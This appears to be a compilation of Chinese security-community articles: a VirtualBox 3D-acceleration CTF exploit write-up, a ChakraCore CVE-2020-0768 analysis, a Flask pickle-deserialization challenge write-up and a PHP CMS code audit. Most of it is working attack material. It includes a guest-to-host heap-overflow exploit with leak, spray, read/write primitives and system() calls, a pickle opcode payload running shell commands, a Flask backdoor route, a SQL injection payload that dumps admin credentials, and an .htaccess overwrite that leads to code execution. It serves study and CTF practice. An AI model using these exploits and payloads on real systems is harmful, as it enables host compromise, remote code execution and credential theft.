GLint *pLocalLength = DATA_POINTER(20, GLint);
char **ppStrings = NULL;
GLsizei i, j, jUpTo;
int pos, pos_check;
if (count >= UINT32_MAX / sizeof(char *) / 4)
{
crError("crUnpackExtendShaderSource: count %u is out of range", count);
return;
}
pos = 20 + count * sizeof(*pLocalLength);
if (hasNonLocalLen > 0)
{
length = DATA_POINTER(pos, GLint);
pos += count * sizeof(*length);
}
pos_check = pos;
if (!DATA_POINTER_CHECK(pos_check))
{
crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
return;
}
for (i = 0; i < count; ++i)
{
if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
{
crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
return;
}
pos_check += pLocalLength[i];
}
ppStrings = crAlloc(count * sizeof(char*));
if (!ppStrings) return;
for (i = 0; i < count; ++i)
{
ppStrings[i] = DATA_POINTER(pos, char);
pos += pLocalLength[i];
if (!length)
{
pLocalLength[i] -= 1;
}
Assert(pLocalLength[i] > 0);
jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
for (j = 0; j < jUpTo; ++j)
{
char *pString = ppStrings[i];
if (pString[j] == '\0')
{
Assert(j == jUpTo - 1);
pString[j] = '\n';
}
}
}
// cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);
crFree(ppStrings);
}
此方法使用宏`READ_DATA`获取用户数据。它只需读取客户机使用HGCM接口发送的消息(此消息存储在堆中)。然后调整输入并将其传递给`cr_unpackDispatch.ShaderSource()`。
第一个明显的攻击点是`crAlloc(count *
sizeof(char*))`。检查变量count是否在某个(正)范围内。但是，因为它是一个带符号的整数，所以也应该检查负数。如果我们选择`count`足够大，例如`0x80000000`，由于整数溢出(这里的所有变量都是32位)，与`sizeof(char*)==8`的乘法都将生成0。理想情况下，由于分配的缓冲区太小而`count`太大，这可能导致堆溢出。然而，这段代码并不容易受到此类攻击，因为如果count为负值，则根本不会执行循环(变量i是有符号的，因此它的比较也是有符号的)。
实际的漏洞不太明显。即在第一个循环中，`pos_check`增加了一个数组的长度。在每次迭代中，都会验证地址，以确保总长度仍然在范围内。这段代码的问题是，pos_check只在下一次迭代中测试是否越界。这意味着数组的最后一个元素从未经过测试，并且可以任意大。
缺少验证会产生什么影响？本质上，在嵌套循环中，j表示`pString`的索引，并从0计数到`pLocalLength[i]`。这个循环将每个`\0`字节转换为一个`\n`字节。对于任意长度，我们可以使循环超出边界，并且由于pString指向堆上的HGCM消息中的数据，这实际上是一个堆溢出问题。
# Exploitation
即使我们不能溢出可控内容，如果我们明智地利用它，我们仍然可以获得任意代码执行。对于漏洞利用，我们将使用[3dpwn](https://github.com/niklasb/3dpwn
"3dpwn")，这是一个专为攻击3D加速而设计的库。我们将大量使用`CRVBOXSVCBUFFER_t`对象，这也是之前[研究的目标](https://github.com/niklasb/3dpwn/blob/master/CVE-2018-3055%2B3085/README.md
"研究的目标")。它包含一个唯一的ID，一个可控制的大小，一个指向guest虚拟机可以写入的实际数据的指针，以及最后一个双向链表的下一个/前一个指针：
typedef struct _CRVBOXSVCBUFFER_t {
uint32_t uiId;
uint32_t uiSize;
void* pData;
_CRVBOXSVCBUFFER_t *pNext, *pPrev;
} CRVBOXSVCBUFFER_t;
此外，我们还将使用`CRConnection`对象，该对象包含各种函数指针和指向缓冲区的指针，guest可以读取缓冲区。
如果我们破坏前一个对象，我们可以得到一个任意的写原语，如果我们破坏了后一个对象，我们就可以得到一个任意的读原语和任意的代码执行。
## 策略
1.泄漏`CRConnection`对象的指针。
2.向堆中喷射大量`CRVBOXSVCBUFFER_t`对象并保存它们的ID。
3.执行`glShaderSource()`并利用我们的恶意信息占领这个漏洞。然后，易受攻击的代码将使其溢出到相邻的对象中—理想情况下是溢出到`CRVBOXSVCBUFFER_t`中。我们试图破坏它的ID和大小，以使第二个堆溢出，以此类推，我们将会有更多的控制权。
4.查找ID列表，看看其中一个是否丢失了。缺少的ID应该是使用换行符损坏的ID。
5.用此ID中的换行符替换所有零字节以获取损坏的ID。
6.此损坏的对象现在的长度将大于原来的长度。我们将使用它溢出到第二个`CRVBOXSVCBUFFER_t`，并使它指向`CRConnection`对象。
7.最后，我们可以控制CRConnection对象的内容，如前所述，我们可以破坏它来实现任意读取原语和任意代码执行。
8.找出system()的地址，并用它覆盖函数指针Free()。
9.在主机上运行任意命令。
# 堆信息披露
由于我们的目标是VirtualBox
v5.2.22，所以它不容易受到[CVE-2018-3055](https://www.zerodayinitiative.com/advisories/ZDI-18-684/
"CVE-2018-3055")的攻击，因为针对CVE-2018-3055，v5.2.20已经打了补丁。
该漏洞被利用来泄漏CRConnection地址，为了攻克难题，我们是否应该使用新的信息？还是重新设计漏洞利用战略？
令人惊讶的是，即使在v5.2.22版本中，上面提到的代码仍然能够泄漏我们想要的对象！怎么可能呢？不是已经打好补丁了吗？如果我们仔细观察，就会发现分配的对象的大小为0x290字节，而连接的OFFSET_CONN_CLIENT为0x248。这并不是真正的越界！
msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]
有趣的是，这是由于一个未初始化的内存错误造成的。也就是说，svcGetBuffer()方法请求堆内存来存储来自guest的消息。然而，它没有清除缓冲区。因此，任何返回消息缓冲区数据的API都可能被滥用，从而向guest泄露堆的有价值信息。我假设Niklas知道这个漏洞，所以我决定用它来解决这个挑战。事实上，在比赛后的几个星期，这个错误的补丁被修补并分配为[CVE-2019-2446](https://www.zerodayinitiative.com/advisories/ZDI-19-046/
"CVE-2019-2446")。
# 堆喷射
我们可以使用alloc_buf()将CRVBOXSVCBUFFER_t喷射到堆上，如下所示:
bufs = []
for i in range(spray_num):
bufs.append(alloc_buf(self.client, spray_len))
从经验上讲，我发现通过选择`spray_len = 0x30`和`spray_num =
0x2000`，它们的缓冲区最终将是连续的，并且pData指向的缓冲区与另一个CRVBOXSVCBUFFER_t相邻。
这是通过将命令`SHCRGL_GUEST_FN_WRITE_READ_BUFFERED`发送到HOST来实现的，其中`hole_pos =
spray_num - 0x10`：
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[hole_pos], "A" * 0x1000, 1337])
在src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp上查看此命令的实现
# 第一次溢出
既然我们已经仔细地设置了好了堆，我们就可以分配消息缓冲区并触发溢出，如下所示：
msg = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ '\0\0\0' + chr(CR_EXTEND_OPCODE)
+ 'aaaa'
+ pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
+ pack("<I", 0) # shader
+ pack("<I", 1) # count
+ pack("<I", 0) # hasNonLocalLen
+ pack("<I", 0x22) # pLocalLength[0]
)
crmsg(self.client, msg, spray_len)
请注意，我们发送的消息的大小与刚刚释放的消息大小完全相同。由于glibc堆的工作方式，它可能会占用完全相同的位置。此外，请注意`count=1`，并记住只有最后一个长度可以任意大。由于只有一个元素，显然第一个元素也是最后一个元素。
最后，让`pLocalLength[0] = 0x22`。这个值足够小，只会损坏ID和大小字段(我们不想损坏pData)。
这是怎么算出来的？
我们的消息是0x30字节长。
pString的偏移量为0x28。
glibc块标头(64位)为0x10字节宽。
uiId和uiSize都是32位无符号整数。
pLocalLength[0]在crUnPackExtenShaderSource()中减去2
因此，我们需要`0x30-0x28=8`个字节才能到达消息的末尾，`0x10`个字节才能遍历块标头，还有`8`个字节才能覆盖`uiId`和`uiSize`。由于减法，我们必须再加2个字节。总的来说，这等于0x22字节。
# Finding the corruption
回想一下，size字段是一个32位无符号整数，我们选择的size是0x30字节。因此，在损坏之后，这个字段将保存值0x0a0a0a30(三个零字节已被字节0x0a替换)。
找到损坏的ID稍微复杂一些，需要我们遍历ID列表以找出其中哪一个丢失了。为此，我们向每个ID发送一条`SHCRGL_GUEST_FN_WRITE_BUFFER`消息，如下所示：
print("[*] Finding corrupted buffer...")
found = -1
for i in range(spray_num):
if i != hole_pos:
try:
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [bufs[i], spray_len, 0, ""])
except IOError:
print("[+] Found corrupted id: 0x%x" % bufs[i])
found = bufs[i]
break
if found < 0:
exit("[-] Error could not find corrupted buffer.")
最后，我们手动将每个\0替换为一个\n字节，以匹配损坏的缓冲区的ID(请原谅我的python技巧)：
id_str = "%08x" % found
new_id = int(id_str.replace("00", "0a"), 16)
print("[+] New id: 0x%x" % new_id)
现在我们拥有了制造第二次溢出所需的一切，我们终于可以控制它的内容了。我们的最终目标是覆盖pData字段，并使其指向我们之前泄漏的
`CRConnection`对象。
# 第二次溢出
使用`new_id`和size`0x0a0a0a30`，我们现在将破坏第二个CRVBOXSVCBUFFER_t。与上一次溢出类似，这是因为这些缓冲区彼此相邻。但是，这一次我们用ID为0x13371337、大小为0x290和指向self.pConn的伪对象覆盖它。
try:
fake = pack("<IIQQQ", 0x13371337, 0x290, self.pConn, 0, 0)
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [new_id, 0x0a0a0a30, spray_len + 0x10, fake])
print("[+] Exploit successful.")
except IOError:
exit("[-] Exploit failed.")
请注意，`spray_len +
0x10`表示偏移量(同样，我们跳过块标头的0x10字节)。这样做之后，我们可以任意修改`CRConnection`对象的内容。如前所述，这最终使我们能够任意读取原语，并允许我们通过替换Free()函数指针来调用任何需要的函数。
# 任意读原语
发出`SHCRGL_GUEST_FN_READ`命令时，来自pHostBuffer的数据将发送回guest。使用自定义的 `0x13371337
ID`，我们可以用自定义指针覆盖此指针及其相应的大小。然后，我们使用`self.client2`客户端发送`SHCRGL_GUEST_FN_READ`消息以触发任意读取(这是泄漏的CRConnection的客户端ID)：
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUF, pack("<Q", where)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)])
res, sz = hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])
# 任意代码执行
每个`CRConnection`对象都有函数指针`alloc()`、`Free()`等。存储guest的消息缓冲区。此外，它们将CRConnection对象本身作为第一个参数。它可以用来启动一个ROP链，例如，或者简单地使用任意命令调用system()。
为此，我们覆盖`OFFSET_CONN_FREE`处的指针和偏移量0处所需参数的内容，如下所示：
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_FREE, pack("<Q", at)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])
触发Free()非常简单，只需要我们使用self.client2向主机发送任何有效的消息。
# 寻找system()
我们已经知道一个地址，即`crVBoxHGCMFree()`。它是存储在Free()字段中的函数指针。此子例程位于模块`VBoxOGLhostcrutil`中，该模块还包含libc的其他stubs。因此，我们可以很容易地计算`system()`的地址。
self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE)
print("[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree)
self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20650
print("[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil)
self.memset = self.read64(self.VBoxOGLhostcrutil + 0x22e070)
print("[+] memset: 0x%x" % self.memset)
self.libc = self.memset - 0x18ef50
print("[+] libc: 0x%x" % self.libc)
self.system = self.libc + 0x4f440
print("[+] system: 0x%x" % self.system)
# 获得flag
在这一点上，我们距离捕获flag只有一步之遥。该flag存储在`~/Desktop/Flag.txt`的文本文件中。我们可以通过使用任何文本编辑器或终端打开文件来查看其内容。
在第一次提交期间出现的一个小问题是，它使系统崩溃。我很快意识到我们不能使用超过16个字节的字符串，因为有些指针位于这个偏移量。用无效内容覆盖它将导致分段错误。因此，我用了一个小技巧，将文件路径缩短了两次，这样就可以用更少的字符打开它：
p.rip(p.system, "mv Desktop a\0")
p.rip(p.system, "mv a/flag.txt b\0")
p.rip(p.system, "mousepad b\0")
4-5小时后，我就能获得flag了，我很兴奋能第一个解决这个难题.
# 结论
如果您以前一直在处理这个难题，那么解决它并不是一件很难的事情。据我所知，在没有任何infoleak的情况下，可以通过建立一个更好的heap
constellation 来解决这个问题，在这个constellation
中，我们可以直接溢出到CRConnection对象中，并修改cbHostBuffer字段，最后导致越界读取原语。
感谢阅读！
原文：https://theofficialflow.github.io/2019/04/26/chromacity.html | 社区文章 |
**作者：启明星辰ADLab**
**原文链接：<https://mp.weixin.qq.com/s/kMPbnUpxBbgTExUC38GNRg>**
微软在近日发布的补丁公告中，修复了一个由启明星辰ADLab安全研究员提交的漏洞，漏洞编号为CVE-2020-0768。漏洞位于ChakraCore引擎代码库中，可同时影响Internet
Explorer 11和Microsoft Edge (基于EdgeHTML)
浏览器。该漏洞是一个内存破坏型漏洞，有远程代码执行的风险，因此微软将其评级为“严重”，并致谢ADLab。
**应对措施**
使用Windows自动更新或手动下载补丁包修复漏洞。
# 漏洞和补丁分析
## PART 1
本漏洞是ChakraCore引擎在JIT编译过程中，单一指令的数据流分析错误，导致的变量活跃性分析和寄存器分配出错。首先从漏洞样本的控制流图开始：
其中，在Block 4有如下的字节码：
符号s10代表[1337]，s6代表const修饰的arr。按照编译原理的术语，变量获取定义值称为def，变量值被使用称为use，在InitConst指令中s6被def，s10被use，随后在StElemC这条指令下，s6被use。可以看到s6与s10关系密切，s6可以看作s10按照另一种方法对同一变量的引用，ChakraCore称为copy-prop符号对原始符号的引用。但调试显示，这里发生了错误：
如此一来形成了原始符号为s10，copy-prop符号为s6，即s6->s10的键值对。其栈回溯位于：
错误键值对是根据数据流分析的错误结果得出的。随后，这个键值对被加入了Block
4中blockOptData->capturedValues->copyPropSyms，其栈回溯位于：
随后，在JIT ForwardPass这样从前向后的优化过程中，Block 4的blockOptData->capturedValues被合并给Block
5，其中包含s6->s10这一键值对，其栈回溯位于：
再之后，在JIT BackwardPass这样从后向前的优化过程中，Block
5的upwardExposedUses通过访问blockOptData->capturedValues->copyPropSyms，把s6->s10这一键值对加入。其栈回溯位于：
upwardExposedUses在编译原理中被称为“向上暴露的使用”，它是变量活跃性分析的对称过程。随后在反向传播的过程中，含有上述键值对的upwardExposedUses被传递给Block
4、Block 3和Block 2。而作为Loop Header的Block 2将其upwardExposedUses用于活跃性分析和后续的寄存器分配过程。
上述过程可以通过下图来表示。可以看到，错误的数据经过了正向传播和反向传播，最终在循环体的全部范围都被污染。
随后，由于上述错误数据，在JIT的寄存器分配过程为s10计算出了错误的生命周期，其生命周期横跨循环的开始到结束。于是阴差阳错，JIT插入了一个MOV指令，形如MOV
labelReg,
mem，但并没有初始化其instr->src->m_offset，该值始终为0。在最后生成机器码的时候，生成了一个指向栈帧指针、偏移为0的读内存操作，表示为[EBP+0x0]或[RBP+0x0]。
这样，一个非预期的内存访问把非法的数据读入了JavaScript引擎上下文，随后在BailOut或其他情况会引用到，这样的非法数据将会造成类型混淆。
## PART 2
造成上述错误数据传播的原因在于InitConst这一指令其实没有在ChakraCore的JIT代码中得到正确的数据流分析，因此在微软的修复中，在JIT刚开始介入的时候，InitConst指令就被替换成Ld_A指令。
ChakraCore完整实现了对Ld_A指令的数据流分析。此时，在分析Forward Pass中，发现Block
4中的键值对不再是s6->s10，而是s10->s6，也就是说s10是原始符号，s6是引用s10的copy-prop符号。如此一来，自然不会造成错误数据的传播。微软在IE11浏览器中使用了相同的代码来修补这个漏洞。
事实上，在ECMAScript
6标准中，const修饰符用来表示一个变量在定义之后不可再被赋值，是语法层次的约束；而JavaScript引擎中的JIT过程始终发生在解释执行之后，如果const修饰符的约束在解释执行阶段被违反，将会立即退出，不会优化执行JIT过程。因此，JIT过程只需要考虑数据流问题，而不必考虑const修饰符的约束。由于ChakraCore在JIT的优化阶段与解释执行阶段使用同一套中间语言，不管是Ld_A还是InitConst都兼容JIT的全过程，本漏洞可以明确认为是一个业务逻辑漏洞。
**参考链接**
1. <https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments>
2. <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0768>
* * * | 社区文章 |
## 前言
研究这个问题主要是打比赛的时候遇到了，题目内容大概是这样的
# app.py
from flask import Flask, request, session, render_template_string, url_for, redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin
app = Flask(__name__)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
def index():
info = request.args.get('name', '')
if info is not '':
x = base64.b64decode(info)
User = restricted_loads(x)
return render_template_string('Hello')
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)
# config.py
notadmin = {"admin": "no"}
def backdoor(cmd):
if notadmin["admin"] == "yes":
s = ''.join(cmd)
eval(s)
可以看出来是个简单的pickle反序列化，这不是本次的重点，重点是这道题在eval后如何回显，最简单的方式想到的是反弹shell，但是经过测试发现目标机器并不出网，所以我们需要寻找其他的方式去让我们的命令回显
## debug模式下利用报错
众所周知，在flask中如果开启了debug模式，报错是会显示详细信息的，比赛中debug模式通常考点是构造pin码，但是我们这里想到，可以通过手动控制报错的方式来让我们的命令回显。
简单地构造exp，这里需要注意的是eval并不能执行python语句，所以我们需要利用eval去调用exec来实现手动抛出报错
from base64 import b64encode
from urllib.parse import quote
def base64_encode(s: str, encoding='utf-8') -> str:
return b64encode(s.encode()).decode(encoding=encoding)
exc = "raise Exception(__import__('os').popen('whoami').read())"
exc = base64_encode(exc).encode()
opcode = b'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec(__import__("base64").b64decode(b"%s"))'
lo.''' % (exc)
print(quote(b64encode(opcode).decode()))
可以看到我们成功通过Exception去拿到了回显
## 非debug模式下利用内存马
这里了参考文章:
[iceyhexman/flask_memory_shell](https://github.com/iceyhexman/flask_memory_shell)
这篇文章是ssti下如何利用flask去添加一个后门路由，我们可以参考他的想法来尝试获取app添加后门路由，这里一个难点是如何拿到正在运行的app
### 失败的尝试: 直接import模块获取app
一开始想到的方法是直接`import app.py`来获取app，但是事实证明此app非彼app，添加了路由但是并不能访问到，应该是一个全新的app
### 成功的尝试: sys.modules
>
> sys.modules是一个全局字典，该字典是python启动后就加载在内存中。每当程序员导入新的模块，sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入，字典sys.modules将自动记录该模块。当第二次再导入该模块时，python会直接到字典中查找，从而加快了程序运行的速度。
所以我们可以通过sys.modules拿到当前已经导入的模块，并且获取模块中的属性，由于我们最终的eval是在app.py中执行的，所以我们可以通过`sys.modules['__main__']`来获取当前的模块，我们写个简单的测试来看看上面的app与实际的app是否相同
import sys
import app
app1 = sys.modules['__main__'].__dict__['app']
app2 = app.app
print(id(app1))
print(id(app2))
可以看到app的id并不相同，所以他们并非相同的app
这里我们尝试直接添加后门路由，会发现存在报错
import sys
import os
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :os.popen('dir').read())
这个报错是由于我们在第一个请求处理后调用了设置函数(add_url_rule)，此报错只会在debug模式下触发，可以参考使用了Flask框架的工具的issue:
* <https://github.com/alexmclarty/mirror/issues/6>
* <https://github.com/pallets/flask/issues/2616>
所以我们需要在非debug模式下才能成功添加后门路由(又或者我们直接设置debug=False来解决这个问题)
import sys
sys.modules['__main__'].__dict__['app'].debug=False
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read()) | 社区文章 |
# PHP代码审计-某CMS漏洞合集
## 0x00 前言
因为与这个CMS挺有缘份的，故花了点时间看了下代码，发现这个CMS非常适合入门代码审计的人去学习，因为代码简单且漏洞成因经典，对一些新手有学习价值，故作了此次分享。
## 0x01 前台注入
从入口开始:`/semcms/Templete/default/Include/index.php`
跟进`web_inc.php`,首先包含
1)`db_conn.php`:建立与数据库的连接,代码量很少也很简单。
2)`contorl.php`:对`$_GET`进行全局过滤危险的SQL函数。
这个过滤从最简单的角度来说，即mysql<8的情况下，把`select`禁用了，其实就没办法进行跨表查询，SQL利用造成危害的可能性会大大降低，当然这是一种直接且无需考虑用户体验为原则的暴力做法，点到为止吧。
回到`web_inc.php`,继续阅读，后面吸引我的地方，在于 89 line一处`SQL`语句的地方。
可以看到`$Language`没有单引号，直接拼接到语句中，且值由POST方式传递，不过这里经过了`verify_str`函数，导致我没有办法利用`select`进行子查询，获取到`sc_user`表的后台管理员用户密码，那么事实真的如此么？
$Language=test_input(verify_str($_POST["languageID"]));
经过`verify_str`函数处理后，会传入`test_input`函数，其返回值将会拼接进SQL语句中进行查询。
`test_input`里面有个有趣的函数`stripslashes`,函数的作用就是用于去除反斜杠，举个如图例子
那么绕过`verify_str`思路就水到渠成了。
**分析下payload的原理**
languageID=-1 uni\on sel\ect 1,concat(user_admin,0x2d,user_ps),3,4,5,6,7,8,9,10,11,12,13,14 from sc_user
`un\ion`&&`sel\ect`绕过了`verify_str`函数的正则匹配，经过`test_input`的`stripslashes`去掉反斜杠，最终拼接到数据库中执行的语句，实际上
返回的后台管理员的账号密码信息到`$tag_indexmetatit`变量中。
并经过`if`判断传递给`$indextitle`变量，最终直接被`echo`到返回包。
if (empty($tag_indexmetatit)){$indextitle=$tag_indexkey;}else{$indextitle=$tag_indexmetatit;}
if (empty($tag_prometatit)){$protitle=$tag_prokey;}else{$protitle=$tag_prometatit;}
if (empty($tag_newmetatit)){$newstitle=$tag_newkey;}else{$newstitle=$tag_newmetatit;}
### 0x1.1 小结
由于`web_inc.php`是所有前台文件都会包含的，所以说这个注入点在任意前台文件中都可以无条件触发，唯一的区别就是其他文件可能没有回显的地方。当然，同样地基于此绕过原理，还可以找到很多处类似的注入或者其他更为简单且直接的注入点,这些就留给读者们自己探索。
## 0x02 寻找后台
虽然在0x01中挖掘到了前台无限制回显的SQL注入漏洞,但因为查询数据库用的是`mysqli`的`query`函数而不是`multi_query`函数,故注入点并不支持堆叠注入，这直接导致我们少了一条SQLGetSHell的道路。值得开心一点的是，我们目前可以通过注入点获取到管理员的账号密码，不过这个CMS的后台地址安装时是随机生成的，所以找到后台地址很困难，下面是自己尝试寻找后台的失败过程，很可惜没有突破。
### 0x2.1 失败的过程
`semcms/install/index.php`安装文件有后台地址的生成代码
那么我的思路，就是全局定位`$ht_filename`变量，看看有没有对此进行操作并存储的代码。
很遗憾，并没有找到对此变量引用的代码。还没到放弃的时候，一般这个时候，我还会额外找找一些其他的办法。
比如搜索[scandir函数](https://www.php.net/manual/zh/function.scandir.php)，该函数作用是列出指定路径中的文件和目录，目的是通过找到类似目录遍历漏洞的点，从而找到后台地址。
继续回溯`TemplateDir`
可惜的是，发现传入的第一个参数是固定的，故这个思路也断了，暂时没有想到其他的好办法了。
## 0x03 GetShell思路
目标CMS的代码量并不高，故寻找GetShell的思路，可以采用危险函数定位的方法来进行快速排除并在存在漏洞的可疑的地方再进行回溯分析。
### 0x3.1 定位思路
文件包含函数:[流程控制](https://www.php.net/manual/zh/language.control-structures.php)
* [require](https://www.php.net/manual/zh/function.require.php)
* [include](https://www.php.net/manual/zh/function.include.php)
* [require_once](https://www.php.net/manual/zh/function.require-once.php)
* [include_once](https://www.php.net/manual/zh/function.include-once.php)
* * *
文件操作函数: [文件系统函数](https://www.php.net/manual/zh/ref.filesystem.php)
* [copy](https://www.php.net/manual/zh/function.copy.php) — 拷贝文件
* [delete](https://www.php.net/manual/zh/function.delete.php) — 参见 unlink 或 unset
* [fflush](https://www.php.net/manual/zh/function.fflush.php) — 将缓冲内容输出到文件
* [file_get_contents](https://www.php.net/manual/zh/function.file-get-contents.php) — 将整个文件读入一个字符串
* [file_put_contents](https://www.php.net/manual/zh/function.file-put-contents.php) — 将一个字符串写入文件
* [fputcsv](https://www.php.net/manual/zh/function.fputcsv.php) — 将行格式化为 CSV 并写入文件指针
* [fputs](https://www.php.net/manual/zh/function.fputs.php) — fwrite 的别名
* [fread](https://www.php.net/manual/zh/function.fread.php) — 读取文件（可安全用于二进制文件）
* [fscanf](https://www.php.net/manual/zh/function.fscanf.php) — 从文件中格式化输入
* [fwrite](https://www.php.net/manual/zh/function.fwrite.php) — 写入文件（可安全用于二进制文件）
* [move_uploaded_file](https://www.php.net/manual/zh/function.move-uploaded-file.php) — 将上传的文件移动到新位置
* [readfile](https://www.php.net/manual/zh/function.readfile.php) — 输出文件
* [rename](https://www.php.net/manual/zh/function.rename.php) — 重命名一个文件或目录
* [rmdir](https://www.php.net/manual/zh/function.rmdir.php) — 删除目录
* [unlink](https://www.php.net/manual/zh/function.unlink.php) — 删除文件
* * *
代码注入函数:
* [eval](https://www.php.net/manual/zh/function.eval.php) — 把字符串作为PHP代码执行
* [assert](https://www.php.net/manual/zh/function.assert.php) — 检查一个断言是否为 false
* [preg_replace](https://www.php.net/manual/zh/function.preg-replace.php) — 执行一个正则表达式的搜索和替换
* * *
命令执行函数:[程序执行函数](https://www.php.net/manual/zh/ref.exec.php)
* [escapeshellarg](https://www.php.net/manual/zh/function.escapeshellarg.php) — 把字符串转码为可以在 shell 命令里使用的参数
* [escapeshellcmd](https://www.php.net/manual/zh/function.escapeshellcmd.php) — shell 元字符转义
* [exec](https://www.php.net/manual/zh/function.exec.php) — 执行一个外部程序
* [passthru](https://www.php.net/manual/zh/function.passthru.php) — 执行外部程序并且显示原始输出
* [proc_close](https://www.php.net/manual/zh/function.proc-close.php) — 关闭由 proc_open 打开的进程并且返回进程退出码
* [proc_get_status](https://www.php.net/manual/zh/function.proc-get-status.php) — 获取由 proc_open 函数打开的进程的信息
* [proc_nice](https://www.php.net/manual/zh/function.proc-nice.php) — 修改当前进程的优先级
* [proc_open](https://www.php.net/manual/zh/function.proc-open.php) — 执行一个命令，并且打开用来输入/输出的文件指针。
* [proc_terminate](https://www.php.net/manual/zh/function.proc-terminate.php) — 杀除由 proc_open 打开的进程
* [shell_exec](https://www.php.net/manual/zh/function.shell-exec.php) — 通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回。
* [system](https://www.php.net/manual/zh/function.system.php) — 执行外部程序，并且显示输出
* * *
变量覆盖:
* [extract](https://www.php.net/manual/zh/function.extract.php) — 从数组中将变量导入到当前的符号表
* [parse_str](https://www.php.net/manual/zh/function.parse-str.php) — 将字符串解析成多个变量
### 0x3.1 后台GetShell
搜索`file_put_contents`函数，只有两个结果，一个是参数写死，故放弃，故只剩这个分析。
写入的文件`$templateUrl`得到的值是固定两种类型。
../index.php 根目录
../.htaccess 根目录
function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){
if ($htmlopen==1){$ml="j";}else{$ml="d";}
$template="index.php,hta/".$ml."/.htaccess"; //开始应用模版
// 1.$template=index.php,hta/j/.htaccess
// 2.$template=index.php,hta/d/.htaccess
$template_mb=explode(",",$template);
//$template_mb 根据,分割为index.php和hta/d/.htaccess的数组
for($i=0;$i<count($template_mb);$i++){
// 获取路径的内容
$template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);
// ../拼接$template_mb[$i]中的"hta/".$ml."/"字符串替换为空的结果
// 即得到../.htacess 或者 ../.index.php
$templateUrl = $lujin.str_replace("hta/".$ml."/","", $template_mb[$i]);
// 修改$template_o的'<{Template}>'标记为$mb的值
$output = str_replace('<{Template}>', $mb, $template_o);
$output = str_replace('<{dirpaths}>', $dirpaths, $output);
// 将替换的内容写入到$templateUrl指向的文件
file_put_contents($templateUrl, $output);
}
}
那么这个函数如果`$mb`可控的话，会发生什么问题？
**问题一**
能够修改`semcms/Templete/default/Include/index.php`中的`<{Template}>`的内容
那么可以尝试如下的形式构造payload:
/semcms/N8D3ch_Admin/SEMCMS_Template.php?CF=template&mb=default/'.phpinfo():.'/..
最终的话会在`semcms/Templete/default/Include/index.php`写入如下图所示。
**问题2**
能够修改根目录`.htacess`的内容
[与 .htaccess 相关的奇淫技巧 ](https://www.anquanke.com/post/id/241147#h3-5)
> SetHandler application/x-httpd-php
>
> 此时当前目录及其子目录下所有文件都会被当做 php 解析。
那么可以尝试如下的形式构造payload:
/semcms/N8D3ch_Admin/SEMCMS_Template.php?CF=template&mb=default/%0aSetHandler%20application/x-httpd-php%0a%23/../..
//这里因为application/x-httpd-php中带有/，所以多需要一个../进行跳转
最终写入的内容:
那么我们随意上传一个文件，即可当作PHP来解析。
那么`$mb`到底是否可控呢？ 回溯`Mbapp`函数的上层调用，可以发现可以通过`$_GET['mb']`来控制。
不过因为文件引进`/semcms/Include/contorl.php`，会调用`verify_str`对`$_GET`变量进行过滤。
很不凑巧，过滤了单引号，导致我们 **问题1** 覆盖的`index.php`的思路直接断了，因为根本没办法逃逸出单引号。
不过问题2的话，倒是可以成功，因为传入的内容并不在`inject_check_sql`的黑名单中，可以成功地覆盖`.htaccess`文件，不过这种方式也是有局限性的，需要Apahce是通过module的形式加载PHP的文件来执行才可以，并且需要在Linux环境，因为window不支持跨越不存在的路径。
## 0x04 任意文件删除
最后还想额外提一下关于后台的漏洞，便是其中一个任意文件删除漏洞，这个删除点不是直接的点，而是先通过构造需要删除的文件路径存进数据库，再通过触发其他点进行获取，传入`unlink`中进行删除，这种类型笔者称之为二次任意文件删除漏洞，很是经典。
**漏洞演示:**
1)传入`../rmme.txt`作为图片的路径
